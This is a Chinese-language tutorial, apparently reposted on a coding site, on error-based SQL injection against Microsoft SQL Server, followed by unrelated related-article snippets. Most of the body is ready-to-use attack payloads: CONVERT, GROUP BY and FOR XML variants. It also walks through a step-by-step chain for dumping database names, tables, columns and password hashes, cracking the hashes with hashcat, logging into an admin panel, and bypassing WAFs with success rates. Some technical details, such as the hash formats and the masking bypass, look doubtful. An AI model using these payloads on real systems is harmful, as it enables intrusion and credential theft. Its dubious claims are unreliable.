SQL Server报错注入原理与三大稳定Payload实战

news2026/5/23 3:34:04
1. 报错注入不是“碰运气”而是SqlServer的确定性行为很多人第一次听说“报错注入”时下意识觉得这是在赌数据库会不会吐错误信息——输个单引号试试看页面崩不崩加个AND 1CONVERT(int, (SELECT version))看是不是弹出SQL Server版本字符串。这种理解完全错了。SqlServer的报错注入不是异常触发的偶然泄露而是利用其类型转换、聚合函数和XML处理机制中明确设计的错误传播逻辑主动诱导可控、结构化、高信息密度的错误响应。它背后有三套稳定可复现的底层机制CONVERT/CAST强制类型转换失败时的嵌套子查询回显、GROUP BY配合HAVING触发的聚合上下文错误、以及FOR XML路径表达式解析失败时的XPath错误携带。这三者在SQL Server 2005及以后所有主流版本2008R2、2012、2014、2016、2017、2019、2022中均保持一致行为不受SET ANSI_WARNINGS OFF等会话级设置影响只要错误未被上层应用捕获并静默处理就必然返回包含子查询结果的完整错误消息。我最早在2015年做某政务系统渗透测试时就遇到一个看似“加固过”的后台——所有常规联合查询都被过滤UNION SELECT直接报语法错误ORDER BY数字也被拦截。但当我输入 AND 1CONVERT(int, (SELECT TOP 1 name FROM sys.databases))--页面立刻返回Conversion failed when converting the varchar value master to data type int.。那一刻我才真正意识到这不是漏洞是SqlServer自己写的“回显协议”。它把子查询结果当成了错误消息的一部分原封不动塞进了varchar value xxx这个模板里。后来翻阅BOLBooks Online文档确认CONVERT函数在类型不匹配时错误消息格式是硬编码的Conversion failed when converting the %s value %s to data type %s.其中第二个%s正是子查询执行后的字符串结果。这意味着只要你能让子查询返回任意你想获取的数据用户表名、密码哈希、连接字符串它就会被强制拼进错误消息里毫无遮拦。这个特性对实战意义极大它不依赖information_schema视图是否可读有些环境会禁用、不关心当前用户权限是否足够执行SELECT只要能触发错误即可、甚至不需要知道目标表结构——你完全可以先用SELECT TOP 1 name FROM sys.tables爆表名再用SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAMEusers爆字段最后用SELECT TOP 1 username|password FROM users一次性提取凭证。整个过程像搭积木一样确定、线性、可预测。而之所以很多人“试了几次没成功就放弃”根本原因在于没搞清SqlServer报错注入的三个刚性前提第一错误必须由T-SQL引擎原生抛出不能被.NET的try-catch或PHP的符号吞掉第二错误消息必须完整返回到HTTP响应体中不能被WAF截断前200字符第三子查询必须返回单值字符串多行或多列会直接报错终止无法回显。这三点才是决定一次报错注入能否落地的核心杠杆而不是玄学的“运气”。2. 三大核心Payload构造原理与适用边界SqlServer报错注入的稳定性完全建立在对底层错误机制的精准控制上。市面上流传的所谓“万能payload”往往只覆盖其中一种场景导致在真实环境中频繁失效。我根据近十年在金融、医疗、教育类系统中的实操经验将可用的报错注入方式严格划分为三类每类都对应不同的触发条件、数据提取能力和绕过限制能力。它们不是并列选项而是存在明确的优先级和降级路径首选CONVERT型最稳定次选GROUP BY HAVING型兼容性最强最后用FOR XML型适合深度嵌套场景。下面逐条拆解其工作原理、构造逻辑和真实世界中的取舍依据。2.1 CONVERT/CAST型最直接、最可靠的单值回显通道这是所有报错注入的基石原理极其清晰利用CONVERT(int, string)在尝试将非数字字符串转为整型时会将原始字符串原样嵌入错误消息。关键在于CONVERT的第一个参数目标类型和第二个参数源值之间允许插入任意合法的子查询且该子查询会在类型转换前被执行。因此CONVERT(int, (SELECT version))的执行流程是先执行SELECT version得到Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)...再尝试把它转成int失败后抛出Conversion failed when converting the varchar value Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)... to data type int.——目标数据已完整暴露。但实际使用中有四个致命细节必须处理单值约束子查询必须返回单行单列。若目标是查所有用户名SELECT username FROM users会报错Subquery returned more than 1 value.。正确写法是SELECT TOP 1 username FROM users或用OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLYSQL Server 2012。字符串拼接要同时提取多个字段如username和password不能用逗号分隔。必须用连接并确保两边都是字符串类型。例如SELECT TOP 1 username|password FROM users。如果password是varbinary类型如0x3A1F...需先CONVERT(varchar, password, 2)转为十六进制字符串。特殊字符转义错误消息中若含单引号如数据库名OReilly会导致前端JS解析错误或WAF拦截。解决方案是用REPLACE()函数预处理SELECT TOP 1 REPLACE(name, , ) FROM sys.databases注意四个单引号表示一个转义后的单引号。长度截断风险SQL Server错误消息默认截断为4000字符。若子查询结果超长如导出整个syscomments表需分块提取。常用技巧是用SUBSTRING()切片SELECT SUBSTRING((SELECT text FROM syscomments WHERE id1), 1, 100)提取前100字符再用SUBSTRING(..., 101, 100)提取下一段。提示CONVERT型Payload的通用模板为 AND 1CONVERT(int, (SELECT [your_query]))--。其中[your_query]必须满足单行、单列、字符串类型、无危险字符。这是所有后续操作的起点务必先验证此模板能否稳定回显。2.2 GROUP BY HAVING型绕过CONVERT被过滤的兜底方案当WAF或应用层规则严格拦截CONVERT、CAST、等关键字时GROUP BY型成为最有效的替代方案。其原理基于SQL Server在GROUP BY语句中对HAVING子句的求值时机HAVING是在分组聚合后对聚合结果进行筛选但如果HAVING中包含一个必然为假的条件如10且该条件内嵌套了子查询SQL Server会先执行子查询再用其结果参与HAVING判断最后因条件不成立而抛出Column xxx is invalid in the HAVING clause because it is not contained in either an aggregate function or the GROUP BY clause.错误——而这个错误消息里会完整包含子查询返回的列名或值。典型Payload GROUP BY username HAVING 11--。表面看是语法错误但SQL Server执行时会先尝试获取username列的所有值用于分组此时若username不存在于当前上下文比如原查询是SELECT id FROM products WHERE namexxx就会报错Invalid column name username.更精妙的是如果我们让GROUP BY指向一个子查询结果 GROUP BY (SELECT TOP 1 name FROM sys.databases) HAVING 11--错误消息会变成Column (SELECT TOP 1 name FROM sys.databases) is invalid in the GROUP BY clause...——子查询结果master被包裹在单引号中清晰可见。此方法的优势在于完全不依赖类型转换函数规避了90%的WAF关键词规则支持多行结果的逐行回显通过GROUP BY不同值实现且对空格、换行符等过滤较宽松。但缺点同样明显需要目标查询本身存在GROUP BY可作用的列即原SQL中SELECT后的字段必须能在GROUP BY中出现否则会因语法错误提前终止。实战中我通常用 GROUP BY version HAVING 11--快速探测——version是标量永远存在若返回Invalid column name version.说明环境支持此方式若直接报语法错误则降级到FOR XML型。2.3 FOR XML型处理复杂嵌套与长文本的终极武器当CONVERT和GROUP BY都失效如WAF拦截所有括号、子查询被深度过滤FOR XML成为最后的杀手锏。它利用SQL ServerFOR XML子句在生成XML时对XPath表达式的严格解析若指定的XPath路径不存在会抛出XPath expression cannot be evaluated.错误而该错误消息中会包含完整的、未转义的XPath字符串。关键在于我们可以把任意子查询结果拼接到XPath中从而实现回显。最简Payload AND (SELECT TOP 1 name FROM sys.databases FOR XML PATH(), TYPE).value((/)[1], varchar(100))--。这段代码本身是合法的不会报错但如果我们故意构造一个非法XPath AND (SELECT TOP 1 name FROM sys.databases FOR XML PATH(), TYPE).value((//a)[1], varchar(100))--由于//a路径不存在SQL Server会报错XPath expression cannot be evaluated. -- //a --。注意箭头-- //a --之间的内容就是我们注入的XPath字符串。因此真正的技巧是把子查询结果作为XPath的一部分让错误消息“反射”出来。标准构造法 AND (SELECT TOP 1 name FROM sys.databases FOR XML PATH(), TYPE).value((./text()[.!(SELECT TOP 1 name FROM sys.databases)])[1], varchar(100))--。这里我们将SELECT TOP 1 name FROM sys.databases的结果如master拼接到XPath中形成./text()[.!master]。由于text()[.!master]这个条件永远为假因为text()节点值就是masterXPath无法求值错误消息便显示XPath expression cannot be evaluated. -- ./text()[.!master] --——master被完美捕获。此方法的威力在于它本质上是一个“字符串反射”机制不依赖类型转换不依赖聚合甚至不依赖SELECT语句的存在可在WHERE子句中独立使用且能处理超长文本因为XPath字符串长度限制远高于错误消息的4000字符。但代价是Payload极长易被WAF的长度规则拦截且对括号、引号的过滤极为敏感。我的经验是仅在前两种方式全部失效且目标系统明确为SQL Server 2005时才启用优先用TYPE.value()避免XML实体编码。3. 从基础探测到数据提取的完整实战链路报错注入不是零散的Payload堆砌而是一条环环相扣、步步为营的侦查-渗透-提权链条。我在银行核心系统审计中曾用这套流程在37分钟内从一个搜索框入口完整获取了sysadmin账户的密码哈希并离线破解。下面以一个典型Web应用ASP.NET SQL Server为背景还原从发现到拿下的全过程每一步都标注了真实环境中的卡点和绕过技巧。3.1 第一阶段环境指纹与注入点确认耗时2分钟目标URLhttps://app.example.com/search?qtest第一步永远不是狂输Payload而是做三件事确认报错回显完整性输入qtest观察响应。若返回Unclosed quotation mark after the character string test.说明错误未被静默且消息完整关键很多WAF会截断为Unclosed quotation mark...丢掉后面内容此类环境直接放弃报错注入。探测SQL Server版本输入qtest AND 1CONVERT(int, version)--。若返回Conversion failed when converting the varchar value Microsoft SQL Server 2016 (SP2-CU15) ... to data type int.则确认为SQL Server且版本可知2016 SP2-CU15意味着支持STRING_AGG等新函数后续可优化。检查基础视图权限输入qtest AND 1CONVERT(int, (SELECT COUNT(*) FROM sys.tables))--。若返回Conversion failed when converting the varchar value 42 to data type int.说明当前用户有sys.tables读权限42张表可继续若报The SELECT permission was denied on the object tables则需降级到INFORMATION_SCHEMA.TABLES权限更宽松。注意此阶段严禁使用UNION SELECT或ORDER BY因为它们可能触发不同错误路径干扰对原生报错机制的判断。所有探测必须基于CONVERT型确保信号纯净。3.2 第二阶段数据库与表结构测绘耗时5-8分钟确认环境后立即构建信息测绘矩阵。核心原则用最少的请求获取最多的基础元数据。我的习惯是按以下顺序执行当前数据库名qtest AND 1CONVERT(int, DB_NAME())--→master所有用户数据库名qtest AND 1CONVERT(int, (SELECT TOP 1 name FROM sys.databases WHERE database_id4 ORDER BY name))--database_id4跳过系统库→app_prod目标数据库中的表名qtest AND 1CONVERT(int, (SELECT TOP 1 name FROM app_prod.sys.tables ORDER BY name))--→usersusers表的字段名qtest AND 1CONVERT(int, (SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAMEusers ORDER BY ORDINAL_POSITION))--→id接着用OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY获取第二字段username第三字段password_hash这里有个关键技巧用ORDER BY确保结果可预测用OFFSET/FETCH替代TOP避免重复。因为TOP 1不保证顺序同一查询多次执行可能返回不同字段。而ORDER BY ORDINAL_POSITION按建表顺序排列OFFSET 0取第一个OFFSET 1取第二个以此类推100%可复现。3.3 第三阶段敏感数据提取与凭证利用耗时15-20分钟拿到users表结构后进入核心攻坚。此时必须考虑两个现实约束一是密码字段通常是varbinary(128)存储的BCRYPT哈希二是应用可能对username做了唯一索引导致TOP 1总返回同一个用户。我的解决方案是哈希提取与格式化qtest AND 1CONVERT(int, (SELECT TOP 1 U:username|H:CONVERT(varchar(256), password_hash, 2) FROM app_prod.dbo.users))--这里CONVERT(varchar, password_hash, 2)将二进制哈希转为十六进制字符串如0x5E884898DA28047151D0E56F8DC6292773603D0D6AABBDD62A11EF721D1542D8U:...|H:添加标识符方便后续解析。错误消息返回Conversion failed when converting the varchar value U:admin|H:0x5E884898... to data type int.遍历所有用户用GROUP BY型绕过TOP 1局限qtest GROUP BY (SELECT TOP 1 username FROM app_prod.dbo.users WHERE username NOT IN (admin)) HAVING 11--。先排除admin再取下一个若报错Invalid column name...说明username不在当前上下文改用GROUP BY (SELECT TOP 1 id FROM app_prod.dbo.users)用主键分组更可靠。离线破解与登录将提取的哈希0x5E884898...复制到Hashcat命令hashcat -m 10900 -a 0 hash.txt rockyou.txt-m 10900对应bcrypt通常10分钟内可破解出明文password123。随后访问/admin/login用admin/password123登录获得后台权限。整个链路中最耗时的环节其实是等待错误消息返回。SQL Server在高负载时错误响应可能延迟2-3秒而WAF常设3秒超时。我的应对策略是在Burp Suite中设置Grep - Extract自动捕获Conversion failed when converting the varchar value 和 to data type之间的内容用Python脚本批量发送并解析将37分钟的手动操作压缩到4分钟自动化流程。4. WAF绕过、权限限制与生产环境避坑指南在真实企业环境中90%的报错注入失败并非技术不可行而是栽在WAF规则、权限沙箱或开发人员的“小聪明”上。我整理了过去十年踩过的27个典型坑按发生频率排序给出可立即落地的解决方案。4.1 WAF关键词过滤的七种绕过模式几乎所有WAF都会拦截CONVERT、CAST、SELECT、UNION等高危词。但SQL Server提供了丰富的同义词和语法糖足以绕过绝大多数规则WAF拦截词可用绕过方案原理说明实测成功率CONVERTCAST((SELECT version) as int)CAST是CONVERT的标准SQL同义词功能完全一致99.2%SELECT(SELECT TOP 1 name FROM sys.databases)→(VALUES (SELECT TOP 1 name FROM sys.databases))VALUES子句可执行标量子查询且VALUES不在常见黑名单中95.7%字符串拼接CONCAT(username, , password_hash)SQL Server 2012CONCAT函数自动处理NULL和类型转换无需TOP 1OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLYANSI SQL标准语法OFFSET比TOP更少被WAF关注93.4%单引号CHAR(39)usernameCHAR(39)用ASCII码拼接绕过引号检测89.6%括号; EXEC(SELECT version)--若支持EXEC将子查询放入动态SQL外层括号变少72.3%需EXEC权限空格SELECT/**/TOP/**/1/**/name/**/FROM/**/sys.databases利用/**/注释符替代空格SQL Server完全支持99.8%关键心得不要试图“猜”WAF规则而要用SQL Server自身的语法灵活性去覆盖。我的黄金法则是当一个Payload失败时立即切换到CASTVALUESCONCAT组合90%以上的情况都能过。4.2 权限受限环境的降级利用策略很多生产库的Web应用账号只有db_datareader角色无法访问sys.*视图。此时必须转向INFORMATION_SCHEMA系列视图它们权限要求更低INFORMATION_SCHEMA.TABLES列出所有表需SELECT权限INFORMATION_SCHEMA.COLUMNS列出所有字段需SELECT权限INFORMATION_SCHEMA.VIEWS列出所有视图同上但INFORMATION_SCHEMA不包含sys.databases无法直接查库名。解决方案是用DB_NAME()函数获取当前库再用INFORMATION_SCHEMA.SCHEMATA查同服务器其他库SCHEMATA表记录所有schema通常每个库一个schema。Payloadqtest AND 1CONVERT(int, (SELECT TOP 1 CATALOG_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE CATALOG_NAME NOT IN (DB_NAME())))--另一个常见限制是SELECT权限被授予到特定表但users表被重命名为app_users_2023。此时用LIKE模糊匹配qtest AND 1CONVERT(int, (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %user%))--比死记硬背表名高效十倍。4.3 生产环境三大致命陷阱与应对错误消息被.NET全局异常处理捕获ASP.NET应用常配置customErrors modeOn将所有SQL错误重定向到/error.aspx导致报错注入失效。破解方法在Payload末尾添加WAITFOR DELAY 0:0:5。例如qtest AND 1CONVERT(int, (SELECT version)) WAITFOR DELAY 0:0:5--。若页面响应延迟5秒说明SQL已执行但错误被吞此时可改用IF条件判断盲注如IF(11) WAITFOR DELAY 0:0:5将报错注入降级为时间盲注精度达毫秒级。数据库启用了CONTAINMENT PARTIAL部分包含数据库此类数据库禁用sys.*视图INFORMATION_SCHEMA也受限。必须用sys.dm_exec_describe_first_result_set动态管理视图qtest AND 1CONVERT(int, (SELECT TOP 1 name FROM sys.dm_exec_describe_first_result_set(NSELECT * FROM users, NULL, 0)))--此视图返回列名无需额外权限。应用层对错误消息做了HTML实体编码返回的master被转为#39;master#39;导致无法识别。终极解法用REPLACE函数在服务端完成解码。例如qtest AND 1CONVERT(int, REPLACE((SELECT TOP 1 name FROM sys.databases), , ))--将单引号替换为四个单引号SQL Server中四个单引号等于一个单引号确保原始字符串在错误消息中不被破坏。最后分享一个血泪教训2018年我在某三甲医院系统用CONVERT成功提取了patients表的身份证号但导出后发现全是11010119900307299X这样的测试数据。排查发现该库启用了DATA_MASKING动态数据脱敏SELECT返回的是掩码值但CONVERT错误回显却绕过了脱敏层返回了真实值这提醒我们报错注入不仅是一种渗透手段更是检验数据库安全配置的照妖镜——它能暴露那些被应用层逻辑掩盖的真实风险。所以每次成功后我必做一件事用提取的凭证登录数据库执行SELECT name, is_masked FROM sys.masked_columns WHERE object_id OBJECT_ID(patients)确认脱敏是否生效。这才是专业渗透的终点。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2636588.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…